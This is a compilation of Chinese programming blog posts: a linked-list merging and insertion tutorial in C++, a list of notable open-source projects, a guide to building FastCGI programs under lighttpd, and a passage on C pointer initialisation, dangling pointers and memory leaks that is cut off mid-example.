^    |  /|  /|         |     tail = a;
|    V / V / V         |     a = a->next;
|    4   5   6 -> null |     tail->next = b;
|    b ------>         |     tail = b;
dummy                  |     b = b->next;



要注意，每一步指针的捣腾都是按照顺序的，用笔纸画一画会比较清楚。


cppListNode *shuffleMerge(ListNode *a, ListNode *b) {
    ListNode dummy(0), *tail = &dummy;
    while (a && b) {
        tail->next = a;
        tail = a;
        a = a->next;
        tail->next = b;
        tail = b;
        b = b->next;
    }
    tail->next = a ? a : b;
    return dummy.next;
}





移动节点


1->2->3            2->3
^                  ^
a                  a
            ==> 
1->2->3            1->1->2->3
^                  ^
b                  b



这个问题几乎不足为道，但这个操作，将有助于咱们更深入的对链表进行研究。封装这个操作，我们可以避免纠缠于非常基本的问题。(a 为 source(s), b 为 dest(d))


    s->s        |
    1  2->3     | void moveNode(ListNode **destRef, ListNode **sourceRef) {
  ->n           |     ListNode *newNode = *sourceRef;
 |  |           |     *sourceRef = newNode->next;
 |  V           |     newNode->next = *destRef;
 |  1->2->3     |     *destRef = newNode;
 ---d           | }





顺序合并


1->3->5      
         ==>  1->2->3->4->5->6
2->4->6



这也是非常基本的操作，结合上述的傀儡节点与 moveNode 两个技巧，应该可以很轻松的写出如下思路：


cppListNode *sortedMerge(ListNode *a, ListNode *b) {
    ListNode dummy(0), *tail = &dummy;
    for ( ;a && b; tail = tail->next) {
        if (a->val <= b->val) moveNode(&(tail->next), &a);
        else moveNode(&(tail->next), &b);
    }
    tail->next = a ? a : b;
    return dummy.next;
}



傀儡节点毕竟耗费了额外的空间，同样的思路，能否改进为不耗费额外空间呢？我们来思考另一个例子：


1->null
^
a
        ==>  1->2->3
2->3         ^  ^
^            a  b
b



这是一个简单到不能再简单的链表连接了，使用 a->next = b 即可完成。但若此刻指针 a 没有指向 1, 而是指向了 null, 想过怎么办没有？


1->null
    ^
    a
        ==> 1->2->3
2->3
^
b



我们展开想象，如果能把 b 指针"生生的挪到" a 的位置就好了。可不可以呢？再深入一点，指针 a 指向 null, 内存里应该是这样子：


 ____    ______    ______     |
|null|  |0x2342|  |0x6787|    | ListNode **aRef = &a; // 0x9899
|____|  |__a___|  |__&a__|    | *aRef = b; // 
0x2342   0x6787    0x9899     |
 ____    ______    ______     |  ______
| 2  |  |0x1221|  |0x3554|    | |0x1221|
|____|  |__b___|  |__&b__|    | |__&a__| // 当我们找指针 a 的地址时，实际却找到了 b.
0x1221   0x3554    0x0980     |  0x9899  // 所以现在的链表为：1->2->3.



理解了这个技巧后（在 C++ 中有一个更合适的名字：Reference, 引用），这个问题有一个更好的办法：


cppListNode *sortedMerge(ListNode *a, ListNode *b) {
    ListNode *ret = nullptr, **lastPtrRef = &ret;
    for (; a && b; lastPtrRef = &((*lastPtrRef)->next)) {
        if (a->val <= b->val) moveNode(lastPtrRef, &a);
        else moveNode(lastPtrRef, &b);
    }
    *lastPtrRef = a ? a : b;
    return ret;
}



思路完全一致，但不消耗额外空间。即无需傀儡，直接上位。


另，这个问题也可以用递归解决，权当额外思考题了(可能更加直观)：


cppListNode *sortedMerge(ListNode *a, ListNode *b) {
    ListNode *ret = nullptr;
    if (a == nullptr) return b;
    else if (b == nullptr) return a;

    if (a->val <= b->val) { ret = a; ret->next = sortedMerge(a->next, b); }
    else { ret = b; ret->next = sortedMerge(a, b->next); }

    return ret;
}





顺序插入


4
^
newNode
               ==>  1->3->4->5->7->8
1->3->5->7->8
^
head



给一个有序链表 head, 一个新节点 newNode. 将新节点插入该链表中。


问题本身简单到不行，但我们仅仅是以此来复习一下上次所讲的三种策略。



	直接插入法（教科书法）

	傀儡节点

	引用法（指针的指针）



首先最朴素的第一种方法，也是教科书上经常讲述的方案。在这个问题里，我们需要分别考虑两种情况：其一，newNode 的值比 head 还要小，那么它应该直接放到最前面（这个动作是连接而非插入）；其二，newNode 的值比 head 要大，那么毫无疑问，需要遍历整个链表，找到 newNode 应该插入的位置，进行插入。


cpp1 2->3->4->5    |    if (*headRef == nullptr || (*headRef)->val >= newNode->val) {
^ ^             |        newNode->next = *headRef;
| head          |        *headRef = newNode;
newNode         |    } else {
----------------|        ListNode *curr = *headRef;
1->2        4->5|        while (curr->next != nullptr && curr->next->val < newNode->val)
   ^        ^   |            curr = curr->next;
   curr->3--|   |        newNode->next = curr->next;
         ^      |        curr->next = newNode;
         newNode|    }



简单又好理解。


然后我们来看看第二种，很常用的傀儡法。为了避免像上面分两种情况分别处理那么麻烦，不如自立山头，统一处理。


cppvoid sortedInsert(ListNode **headRef, ListNode *newNode) {
    ListNode dummy(0), *tail = &dummy;
    dummy.next = *headRef;

    while (tail->next != NULL && tail->next->val < newNode->val)
        tail = tail->next;
    newNode->next = tail->next;
    tail->next = newNode;
    *headRef = dummy.next;
}



可以看到，代码完全照搬上面的第二种情况。更加紧凑。


好了，最后我们来看看最精简的第三种方案，使用引用。细心的童鞋会发现，上面我们定位的一直是 curr->next 节点。这个 next 很罗嗦，但普通的插入，必须要知道前后节点，所以也是不得已为之。如果我们采用引用，则只需要知道后面的节点即可。


cpp1->3->5        | ListNode **currRef = headRef;
      ^        | while (*currRef != nullptr && (*currRef)->val < newNode->val)
  4-> curr     |     currRef = &((*currRef)->next);
  ^            | newNode->next = *currRef;
  newNode      | *currRef = newNode;



可以看到，我们将 newNode->next 指向 curr 节点后，直接将 newNode 节点生生挪到链表里去了。这是因为 currRef 处于链表中第 2 个(从 0 开始)位置，当 *currRef = newNode 之后，相当于将这个位置指向的地址换成了 newNode. 而 newNode 已经和后面的节点相连，所以很顺利的顺延了后续链表。


寥寥五行，非常精简。上述三种思路都应该掌握，而核心应该掌握最后一种方案。




链表排序


我们趁热打铁，上面讨论了 sortedInsert 方法的实现。那么我们倒过来，实现最基础的面试题，插入排序。


思路呢，非常简单，弄一个空链表：ListNode *newHead = nullptr;, 然后遍历整个链表，将每一个节点 sortedInsert 到 newHead 中。代码如下：


cppvoid insertSort(ListNode **headRef) {
    ListNode *newHead = nullptr;
    for (ListNode *curr = *headRef, *next; curr; curr = next) {
        next = curr->next;
        sortedInsert(&newHead, curr);
    }
    *headRef = newHead;
}



知道为什么面试官老说“连个插入排序都写不出，还能要？”的话了吧，因为就是这么简单。插入排序的关键在于插入。这也是我们上面大篇幅讲解链表三件套来实现顺序链表插入的原因。


这仅仅是最基础的一种排序手段，先留个思考题，还有那些常用的排序手段，如何实现呢？




未完待续


 -整理一些好的开源项目

作者：xumenger

来源： -整理一些好的开源项目



                    
首先说明，要想找开源项目，当然是Github！

另外oschina上面也可能有你要的，这个是分类的链接：http://www.oschina.net/project/tags，比如这个是一个Python的相关开源资源：http://www.oschina.net/project/lang/25/python

但是不管是用Github还是oschina上面找，都要首先自己鉴别一下质量，不要随便轻信，最是去找那些知名度高的开源项目！如果自己直接去找，一定要注意项目的质量！

通过这些项目你可以大幅度减少不必要的开发而将精力放在更重要的地方。

以下的整理会持续更新.....

别人整理好的

Github资源收集：http://segmentfault.com/a/1190000003510001?_ea=340118

C/C++

Linux(C;操作系统)

这个就不用介绍了，地址是：https://github.com/torvalds/linux

mongodb(C++;数据库)

MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。

地址是：https://github.com/mongodb/mongo

Leetcode OJ（算法）

这是一个算法练习的OJ。

C++的实现版本：https://github.com/haoel/leetcode

Java的实现版本：https://github.com/yuzhangcmu/LeetCode

muduo(C++;网络)

陈硕使用C++开发的一款网络编程的代码库。因为C++的一个著名的网络编程的代码库ACE存在很多的问题（参看博客《学之者生，用之者死----ACE历史与简评》），所以陈皓自己编写了自己的C++网络库

地址：https://github.com/chenshuo/muduo

陈硕的博客：http://blog.csdn.net/solstice/

my_toy_compiler(C++)

一个大神用C++开发的一个“玩具”编译器

地址：https://github.com/lsegal/my_toy_compiler

SkyNet(C)

云风大侠的成名作风魂，使用C语言编写，详细介绍参看云风的博客：http://blog.codingnow.com/2012/09/the_design_of_skynet.html

地址：https://github.com/cloudwu/skynet

云风的博客：http://blog.codingnow.com/

git(C)

这个就不用介绍了，版本控制工具

地址：https://github.com/git/git

GLib(C)

是一个包含很多有用的 C 程序的开发包，例如树、哈希、列表等。GLib 之前是属于 GTK 工具包的一部分，现在独立出来成为单独项目。

C4(C;编译)

4个函数实现的c编译器，大约500行。基本上已经比较完备了，可以自己编译自己。

SQLite(C;数据库)

SQLite是遵守ACID的关联式数据库管理系统，它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目。SQLite亦可以作为桌面数据库使用。

Python

pssh

提供了并行版本的 OpenSSH 工具，特别适合用来控制有大量机器需要连接的情况，包括并行版本的 ssh、scp、rsync 和 kill 命令。该项目是Python写的，代码清晰而简短（5000行左右），数据结构定义的很清楚，看了之后你会称赞的。

shadowsocks

shadowsocks是一个基于 python 的轻量级 socks 代理软件（谁用谁知道）。

Flask

Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ，模板引擎则使用 Jinja2 。

Flask号称微框架，0.1的代码才700来行(其中大部分都是注释) 而且代码写得很规范，非常适合学习。Django为了做到功能完备代码必然庞大而复杂不建议单纯的阅读。

web.py

官网：http://webpy.org/

推荐文章：web.py 十分钟创建简易博客

tornadoweb

简介：http://www.tornadoweb.cn/

官网：http://www.tornadoweb.org/en/stable/

requests

虽然Python的标准库中urllib2模块已经包含了平常我们使用的大多数功能，但是它的API使用起来让人实在感觉不好。它已经不适合现在的时代，不适合现代的互联网了。而Requests的诞生让我们有了更好的选择。

正像它的名称所说的，HTTP for Humans,给人类使用的HTTP库！在Python的世界中，一切都应该简单。Requests使用的是urllib3，拥有了它的所有特性，Requests 支持 HTTP 连接保持和连接池，支持使用 cookie 保持会话，支持文件上传，支持自动确定响应内容的编码，支持国际化的 URL 和 POST 数据自动编码。现代、国际化、人性化。

除此之外,Requests的文档非常完备，中文文档也相当不错。Requests能完全满足当前网络的需求，主要支持的功能如下：


	国际化域名和 URLs


	Keep-Alive & 连接池


	持续性的 Cookie 会话


	类浏览器式的 SSL 加密认证


	基本/精简式的身份认证


	优雅的键/值 Cookies


	自动解压


	Unicode 编码的响应主体


	多段文件上传


	连接超时


	支持 .netrc


	适用于 Python 2.6—3.3


	安全的线程使用




地址：https://github.com/kennethreitz/requests

PHP

typecho(PHP;博客)

Typecho是由type和echo两个词合成的，来自于开发团队的头脑风暴。Typecho基于PHP5开发，支持多种数据库，是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序

地址是：https://github.com/typecho/typecho

官网：http://typecho.org/

论坛：http://forum.typecho.org/

WordPress(PHP;博客)

WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统（CMS）来使用。WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的。用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

地址是：https://github.com/WordPress/WordPress

中文官网：http://cn.wordpress.org/

官网：https://wordpress.org/

ThinkPHP(PHP;框架)

ThinkPHP 是一个免费开源的，快速、简单的面向对象的 轻量级PHP开发框架 ，创立于2006年初，遵循Apache2开源协议发布，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多的原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进，已经成长为国内最领先和最具影响力的WEB应用开发框架，众多的典型案例确保可以稳定用于商业以及门户级的开发。

地址是：https://github.com/liu21st/thinkphp

官网：http://www.thinkphp.cn/

Lisp

compile-make

该项目可实现emacs中一键编译的需求。在项目目录下寻找Makefile文件，并执行make命令进行编译。

HTML/CSS/JS

jQuery(JS;HTML;CSS)

Jquery是继prototype之后又一个优秀的Javascript库。它是轻量级的js库 ，它兼容CSS3，还兼容各种浏览器（IE 6.0+, FF 1.5+, Safari 2.0+, Opera 9.0+），jQuery2.0及后续版本将不再支持IE6/7/8浏览器。jQuery使用户能更方便地处理HTML（标准通用标记语言下的一个应用）、events、实现动画效果，并且方便地为网站提供AJAX交互。jQuery还有一个比较大的优势是，它的文档说明很全，而且各种应用也说得很详细，同时还有许多成熟的插件可供选择。jQuery能够使用户的html页面保持代码和html内容分离，也就是说，不用再在html里面插入一堆js来调用命令了，只需要定义id即可

地址：https://github.com/jquery/jquery

bootstrap(JS;HTML;CSS)

Bootstrap，来自 Twitter，是目前最受欢迎的前端框架。Bootstrap 是基于 HTML、CSS、JS 的，它简洁灵活，使得 Web 开发更加快捷。它由Twitter的设计师Mark Otto和Jacob Thornton合作开发，是一个CSS/HTML框架。Bootstrap提供了优雅的HTML和CSS规范，它即是由动态CSS语言Less写成。Bootstrap一经推出后颇受欢迎，一直是GitHub上的热门开源项目

地址：https://github.com/twbs/bootstrap

Node.js(JS)

node.js是由Ryan Dahl编写的服务器端js framework，其初衷是为了编写更为高效的web服务器。

地址：https://github.com/joyent/node

Koa

Koa 是下一代的 Node.js 的 Web 框架。由 Express 团队设计。旨在提供一个更小型、更富有表现力、更可靠的 Web 应用和 API 的开发基础。

SeaJS

Sea.js是一个遵循CommonJS规范的JavaScript模块加载框架，可以实现JavaScript的模块化开发及加载机制。Sea.js 追求简单、自然的代码书写和组织方式，代码非常精简。

Android

关于Android的开源项目，请详见：https://github.com/Trinea/android-open-project

目前主要包括：


	Android 开源项目第一篇——个性化控件(View)篇
包括ListView、ActionBar、Menu、ViewPager、Gallery、GridView、ImageView、ProgressBar、TextView、ScrollView、TimeView、TipView、FlipView、ColorPickView、GraphView、UI Style、其他


	Android 开源项目第二篇——工具库篇
包括依赖注入、图片缓存、网络请求、数据库 ORM 工具包、Android 公共库、高版本向低版本兼容库、多媒体、事件总线、传感器、安全、插件化、文件、其他


	Android 开源项目第三篇——优秀项目篇
比较有意思的完整的 Android 项目


	Android 开源项目第四篇——开发及测试工具篇
包括开发效率工具、开发自测相关、测试工具、开发及编译环境、其他


	Android 开源项目第五篇——优秀个人和团体篇
乐于分享并且有一些很不错的开源项目的个人和组织，包括 JakeWharton、Chris Banes、Koushik Dutta 等大牛




iOS

参看《github优秀开源项目大全-iOS》：http://foggry.com/blog/2014/04/25/githubyou-xiu-xiang-mu-ios/


 FastCGI+lighttpd开发之介绍和环境搭建

作者：P_Chou

来源： FastCGI+lighttpd开发之介绍和环境搭建



                    
原文：FastCGI+lighttpd开发之介绍和环境搭建

由于需要做一些简单的基于FastCGI的Web开发，开始学习和调研，本篇介绍CGI和FastCGI的概念以及基于FastCGI官方的devkit，以及lighttpd搭建起简单的开发环境，以作备忘。

为啥要搞这个?

现在开发Web有N种选择，啥php，C#，java，ruby，nodejs...哪个都比开发FastCGI要简单和强大的多，为何还要跑到这么个底层来做Web服务呢？答案是嵌入式系统需求！我们知道嵌入式系统往往由于硬件的限制，为了节约处理器和内存，很多事情都需要省的点用。对于简单的Web服务，没有必要（或者不能）去使用高层次的编程框架，那么这个时候，就可以直接基于CGI那套协议来进行开发。通常在这个层次下，C语言是首选。

FastCGI和CGI的概念

要搞清楚FastCGI，必须先搞清楚CGI

参考

CGI与FastCGI

Nginx + CGI/FastCGI + C/Cpp

搞不清FastCgi与PHP-fpm之间是个什么样的关系

CGI

CGI是一种协议，用于扩展Web服务器原本的能力。我们知道，Web服务器最早是用来提供静态文件访问的，想要实现动态内容提供是比较困难的。CGI因此而产生。这是一套协议，简单的说，就是Web服务器在必要的时候，为了处理Request，会调起一个进程（CGI程序），让这个进程来处理请求，并将这个进程返回的结果返回给客户端。然后进程结束，下次请求重复这个过程。这个过程中涉及到Web进程和CGI程序进程的输入和输出协议，这个机制和协议就叫CGI。那么具体的说，在CGI程序中，输入和输出是通过stdin,stdout,stderr来进行的，请求的参数等则是通过环境变量来传递的。所以CGI程序其实没有语言限制，只要能够读取环境变量，读写标准输入输出即可。下图以Apache和Python为例，说明CGI的工作方式



Python的CGI扩展能够在Python解释器的帮助下，解释用户编写的Python脚本，从而输入输出，虽然这个模型相比上面阐述的基本模型要复杂一点，但是本质是相同的。

CGI的缺点很明显，每个请求都要启动进程来处理请求，进程启动的开销是没有必要的。

FastCGI

为了解决CGI的缺点，诞生了FastCGI。既然CGI的缺点是进程的频繁启动和关闭，那么是否可以有一个专门管理CGI进程的程序，在没有Request请求的情况下，保持多个CGI进程的挂起状态，当有请求的时候，分配一个进程来处理，处理完成后挂起，就像是进程池一样。这个进程池的管理程序称为FastCGI管理器，从字面看，它可以提高CGI程序的效率。

不光是处理模型的优化，CGI程序只能在Web服务器本机执行，而基于FastCGI的管理下，CGI程序可以被部署在远程，通过TCP Socket或者Unix domain Socket来传输数据，这种模式可以理解为FastCGI代理。

FastCGI管理器有多种形式。例如：Apache和Lighttpd是通过模块的方式实现FastCGI管理器的，而Nginx则是通过FastCGI代理模式实现的（也就是说需要一个单独的FastCGI管理器进程，该进程通过侦听TCP Socket或者Unix domain Socket在Nginx和CGI程序之间起到桥梁作用）。

同样是Apache和Python为例，下图为FastCGI的启动和运行的模型



Apache在调用用户脚本的时候，会依靠Apache内建的FastCGI模块来调度CGI进程，CGI进程也不会消亡，下次请求就不需要重新启动解析器了。而且CGI进程是通过Socket形式实现输入输出的，当然CGI程序在编写的时候，仍然是通过stdin,stdout,stderr来输入输出，只是最终可能是通过网络来实现的，这样做可以实现从CGI程序到FastCGI程序的平滑过渡。你会发现开发FastCGI程序跟开发CGI程序并没有多少区别。

关于Nginx的FastCGI代理模式，有必要多说几句。Nginx自身没有实现FastCGI管理器，但是Nginx可以支持FastCGI代理，我们来看看Nginx是如何配置php的就明白了：


location ~ \.php$ {
    root  html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
    include        fastcgi_params;
}


可以看到，Nginx其实是把请求扔给127.0.0.1:9000，那么还需要一个程序来监听127.0.0.1:9000啊，对了！这个程序就是php-fpm，所以我们在用Nginx配置php的时候需要：

php-fpm start


php-fpm可以帮Nginx实现CGI进程管理器的功能。看起来好麻烦有没有，为什么Apache无需php-fpm，原因上面说了，Apache是通过模块实现的，无需单独启动php-fpm。

那么，如何开始开发一个FastCGI程序呢，我们需要FastCGI的开发套件，以及一个合适的Web服务器，这里FastCGI套件从这里下载，Web服务器，我们选择了lighttpd，因为既然要直接开发CGI程序，那么通常你会选择尽可能轻量的Web服务器。当然支持FastCGI的Web服务器很多，这里有列表。

准备lighttpd

lighttpd的安装就不多说了，你可以选择编译安装或者源安装，我选择了编译安装，所以后续的启动啥的麻烦一点。

lighttpd的启动和重启

如果是编译安装的，那么你需要将源码包doc里面的config文件夹复制到/etc下，并重命名为lighttpd，这里面是lighttpd的一系列启动配置，然后像下面这样启动：

/usr/local/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

如果你经常折腾Web服务器，这应该很好理解。当然你可以查看一下配置文件，了解个大概（尤其是日志文件的位置），由于配置文件有很多注释，分享一个命令，能去掉注释部分，只看重点：

sed -n '/^\s*[^#]/p' /etc/lighttpd/lighttpd.conf

重启的话，可以通过下面命令先杀掉相关的进程，然后再启动

killall lighttpd
/usr/local/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

lighttpd配置fastcgi模块

这个相对简单，在/etc/lighttpd/modules.conf，将里面的fastcgi模块的引用反注释掉


include "conf.d/fastcgi.conf"


那么关于fastcgi的配置就顺理成章的在conf.d/fastcgi.conf中了，其中关键的一句是：


server.modules += ( "mod_fastcgi" )


底下有很多示例配置，尤其是对php的配置示例，尤其详细，然而我们是直接做CGI程序，可以参考这个配置


fastcgi.debug = 1
fastcgi.server = (
    ".fcgi" => (
     "local" => (
      "socket" => socket_dir + "fcgitest-fcgi.socket",
      "checklocal" => "disable",
      "bin-path" => server_root + "/htdocs/cgi-bin/fh.fcgi",
      "idle-timeout" => 10,
      "min-procs" => 1,
      "max-procs" => 1
     )
    )
)


理解了FastCGI原理后，再来看这个其实很容易理解：


	对所有.fcgi后缀的处理


	通过fcgitest-fcgi.socket


	用/htdocs/cgi-bin/fh.fcgi程序来处理


	最多同时驻留1个CGI进程，最少1个（对于嵌入式系统，并不是要处理高并发，多个进程并没有意义）




我们可以通过浏览器访问http://localhost/cgi-bin/fh.fcgi，即可执行fh.fcgi程序（这里htdocs是配置的文档根目录）。

那么接下来的重点是开发/htdocs/cgi-bin/fh.fcgi程序。

开始开发FastCGI程序

开发套件的安装

下载好套件后，解压在fcgi-devel-kit目录


cd fcgi-devel-kit
./configure
make
cd libfcgi
make
make install


显然我们其实需要的是FastCGI的include和lib，上面的命令可以在/usr/local/lib下创建几个相关的库文件：


-rw-r--r--.  1 root root 204902 Nov 15 20:09 libfcgi.a
-rwxr-xr-x.  1 root root    704 Nov 15 20:09 libfcgi.la
lrwxrwxrwx.  1 root root     16 Nov 15 20:09 libfcgi.so -> libfcgi.so.0.0.0
lrwxrwxrwx.  1 root root     16 Nov 15 20:09 libfcgi.so.0 -> libfcgi.so.0.0.0
-rwxr-xr-x.  1 root root 145320 Nov 15 20:09 libfcgi.so.0.0.0


.a是静态库，.la是基于libtool的链接库。后面你可以选择使用.a来链接，也可以使用libtool工具，使用.la来构建。

完成套件的安装后，先创建一个项目文件，并将include和libtool工具拷贝进去（如果你不打算用libtool编译，可以不拷贝libtool）


mkdir -p ~/Projects/fh
cp -r ~/fcgi-devel-kit/include ~/Project/fh/fcgi_inc
cp ~/fcgi-devel-kit/libtool ~/Project/fh/libtool


创建一个main.c文件，并编辑如下：


#include <fcgi_stdio.h>
#include <stdio.h>

int main(){
 int count = 0;
 while(FCGI_Accept() >= 0){
    printf("Content-type: text/html\r\n"
           "\r\n"
           "<title>FastCGI Hello! (C, fcgi_stdio library)</title>"
           "<h1>FastCGI Hello! (C, fcgi_stdio library)</h1>"
           "Request number %d running on host <i>%s</i>\n",
            ++count, getenv("SERVER_NAME"));
 }
}


上面的程序跟普通的CGI程序的关键区别在于while(FCGI_Accept() >= 0)，这个条件会在没有请求需要处理的时候阻塞，那么进程就会挂起，并在正常情况下不会退出。这样就实现了进程驻留的效果。

编译和链接

使用libtool进行编译和链接


./libtool --mode=compile gcc -I fcgi_inc -c main.c

rm -f .libs/main.lo
gcc -I fcgi_inc -c main.c  -fPIC -DPIC -o .libs/main.lo
gcc -I fcgi_inc -c main.c -o main.o >/dev/null 2>&1
mv -f .libs/main.lo main.lo


编译得到的是main.lo和main.o，前者用于继续用libtool链接FastCGI的lib，后者可用于普通的链接。

接着链接：


./libtool --mode=link gcc -o fh main.lo /usr/local/lib/libfcgi.la

gcc -o fh main.o  /usr/local/lib/libfcgi.so -lnsl  -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib


得到的程序fh，是通过main.o和/usr/local/lib/libfcgi.so链接后生成的（动态链接），可以看到libtool实际上只是对gcc的一个包装而已。据说是为了方便解决依赖库，笔者折腾了好久才弄清楚。

最后，将fh复制到目标目录，并重命名。当然如果fh.fcgi进程已经由lighttpd启动，需要杀掉进程，再覆盖。


cp -f fh /srv/www/htdocs/cgi-bin/fh.fcgi


最后使用浏览器的访问效果：



需要注意的是，访问的文件还是必须物理存在的（因为没有配置任何rewrite），比如这里访问的cgi-bin/fg.fcgi，实际上映射了/srv/www/htdocs/cgi-bin/fg.fcgi文件，然后再用fastcgi的方式来处理。否则只会返回404，笔者在这里卡了一下。

结语

花了一天时间，简单实验的FastCGI的开发，后续还需要使用IDE来开发，并实现交叉编译，后面再折腾了。
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作者：xumenger

来源： -内存的分配与释放，内存泄漏



                    
初始化的重要性

和在使用一个数据之前必须要对数据进行初始化一样，否则可能会使得数据的值不确定，那就会给程序埋下很大的隐患，在使用指针之前也必须要对指针进行”初始化“，参见下面的例程1：

#include<stdio.h>
int main(void)
{
    int *x;
    *x = 3;
    return 0;
}


这样的代码可能会出现段错误，因为x指针不知道会指向哪一块内存，使用*x=3来更改那块内存的数据有可能访问到非法内存导致段错误，当然也有可能因为没访问到非法内存而没有产生段错误，但是一个健壮的程序不允许存在这样的隐患。

再看下面的一个例程2：

#include<stdio.h>
#include<stdlib.h>
int main(void)
{
    int *x;
    x = (int *)malloc(sizeof(int));
    //上面一行代码相当于对指针的初始化，使得指针指向一个合法的内存区域
    //准确的表述应该是，使用malloc动态分配一块sizeof(int)大小的内存空间，然后让x指向这块内存
    *x = 3;    
    //上面这行代码的方式就不会有访问非法内存的可能，就不会产生段错误
    free(x);
    return 0;
}


指向非法内存的指针

通过指针释放内存后别忘了将指针置为NULL，或者将这个指针指向另一个合法的内存地址，总之不能再有指针指向被释放过了的非法的内存空间。

上面的例程2中直接调用free来释放内存，因为这是一个很简短的程序所以运行的效果会正如你希望的那样，但是假如在一个比较大型的项目中，这样的写法就存在着隐患，更为稳定的程序应该这样写，见例程3：

#include<stdio.h>
#include<stdlib.h>
int main(void)
{
    int *x;
    x = (int *)malloc(sizeof(int));
    //上面一行代码相当于对指针的初始化，使得指针指向一个合法的内存区域
    *x = 3;    
    //上面这行代码的方式就不会有访问非法内存的可能，就不会产生段错误
    free(x);
    x = NULL;
    return 0;
}


有人会说这不是多此一举吗，确实在这个例程里面是多此一举，因为这个程序太过简单，free(x) 之后，程序就运行结束了，不会存在再通过x访问被释放了的内存的非法访问内存的问题。

但是假如在一个比较大的程序中，在程序的某个地方使用free(x)释放了x所指向的内存空间（free操作只是释放该指针所指向的内存，并不会将指针置为NULL），但是忘记将x指针置为NULL，那么x将还会指向这块内存，假如后面通过if(x==NULL) 来进行判断，显然x不等于NULL，就可能出现非法访问x所指向的内存（但是这块内存之前已经被释放过了）的情况，显然会出现很严重的错误。

另外需要强调的一点，有可能有多个指针指向同一块内存，所以这种时候如果释放了内存空间的话，必须保证所有指向这块内存的指针都不再指向这块内存，可以是置为NULL，当然也可以使其指向其他合法的内存地址。

下面以一个简单的例程4展示free之后的指针将还指向原来的内存

#include<stdio.h>
int main(){
    int *x;
    x = (int*)malloc(sizeof(int)); //为x动态分配一块内存，内存大小为int型大小
    *x = 3; //将3存储到分配的内存中去
    printf("%d\n ", x); //以整数形式输出指针，也就是对应的内存的地址
    printf("%d\n", *x); //输出内存中存储的数值
    
    free(x);
    if(x != NULL){
        printf("%d\n", x); //将内存释放后再输出指针的值
        printf("%d\n", *x); //看看释放了内存之后还能不能通过指针访问这块内存
    }
    
    x=NULL;
    printf("%d\n", x); //将指针置为NULL之后再输出指针的值
    printf("%d\n", *x); //看看将指针置为NULL之后，再用*x会有什么效果
    
    return 0;
}


使用gcc编译的时候（我暂时将源文件命名为test1.c，使用gcc test1.c -o test1来编译），会有关于不正确使用指针的警告信息，但是并不是语法错误，所以还是可以编译通过，但是这就存在潜藏的大问题了。

最后运行输出的结果是：

29540368 
3  
29540368  
0 
0 
Segmentation fault (core dumped)



所以可以清晰的看出，通过指针释放了动态分配的内存之后，指针还是指向原来的地址，还可以访问原来的地址（不过原来的地址中的值可能变了），而最后将指针置为NULL之后，显然指针不再指向原来的地址，而且如果这时候再想通过指针访问对应的内存，就会报段错误。

这个程序演示了几种不规范的使用指针的方法：


	使用free释放了内存之后没有将指针置为NULL或者将指针再次指向另一个合法的内存而导致的再次访问到已经被释放了的内存的情况。Free之后而没有将指针置为NULL或者再次指向合法的地址，然后根据if(pointer != NULL)来进行判断指针是否合法其实是没有意义的。


	指针置为NULL之后错误的通过*运算符取指针所指向内存的数据而导致的段错误。




另外，关于这个小的测试程序，有一个关于printf使用的问题，我已经在问答网站上问了，请参见：http://segmentfault.com/q/1010000003696973

补充：使用Delphi开发语言进行开发的时候，Delphi的类、对象名也需要注意释放的问题。直接以一个例程5讲解

    var
        objectA : ClassA;  {声明一个ClassA类型的变量}
    begin
        objectA := ClassA.Create;  {为objectA创建实体，要注意的是Delphi的对象的变量名其实就是一个指针}
                                  {所以这里会创建一个实体，objectA其实是指针，会指向这个实体}
                                  
        {使用对象进行一些操作}
        
        objectA.Free;    {最后释放变量}
        objectA:= nil;  {别忘了将变量置为nil，因为Delphi中的类的对象名就是指针}
    end;

说明：Delphi的面向对象编程中，一个对象名就相当于一个指针！

可能出现内存泄漏的几种情况

情况1

多次malloc但是没有对应的释放次



这样一个C语言的例子

#include<stdio.h>
int main(){
    int *x;
    int i;
    for(i=0; i<=100; i++)
        x = (int *)malloc(size(int));
    free(x);
    x = NULL;
    return 0;
}

在这个例子中，多次用malloc分配内存，然后每次将新分配的内存的地址赋值给x，但是x只能指向一个地址，所以最后x只能指向最后一次分配的内存的地址，所以也就只能释放最后一次分配的内存，而前99次分配的内存因为丢失了地址，所以没有办法释放，只能造成内存泄漏。

类似的dephi的例子可能是这样的：

var
    i: Integer;
    objectA: ClassA;
begin
    for i:=0 to 100 do
    begin
        objectA:= ClassA.Create;
    end;
    
    {...}
    objectA.Free;
    objectA:= nil;
end;

这个delphi的程序，每次ClassA.Create就在内存中创建一个实体，然后将objectA指向这个实体的内存，但是和上面的C程序类似，objectA只能指向一个地址，所以只能指向最后一次创建的对象实体的地址，所以前面99个创建的对象因为丢失了地址，所以没有办法释放，所以也就造成了内存泄露。

当然也有时候可以这样使用：就是在某种情况下，delphi的某个线程类是可以运行结束的（不是无限循环执行的），并且将FreeOnTerminate设为True（表示线程运行结束之后会自动释放线程的相关资源），这时候可以以这样的方式创建多个不使用指针保存其内存实体地址的线程类。但是这样的情况也实在是少，就算是可以采取这样的策略，我还是建议选择用个指针保存其地址以保证更为稳妥。总而言之，Delphi面向对象的一个好的编程规范是：创建类的对象实体，要有一个对象名（指针）保存这个实体的地址。

情况2

动态分配的内存还没有释放就直接将指向该内存的指针置为NULL



这样的一个C语言的例子

#include<stdio.h>
int main(){
    int *x;
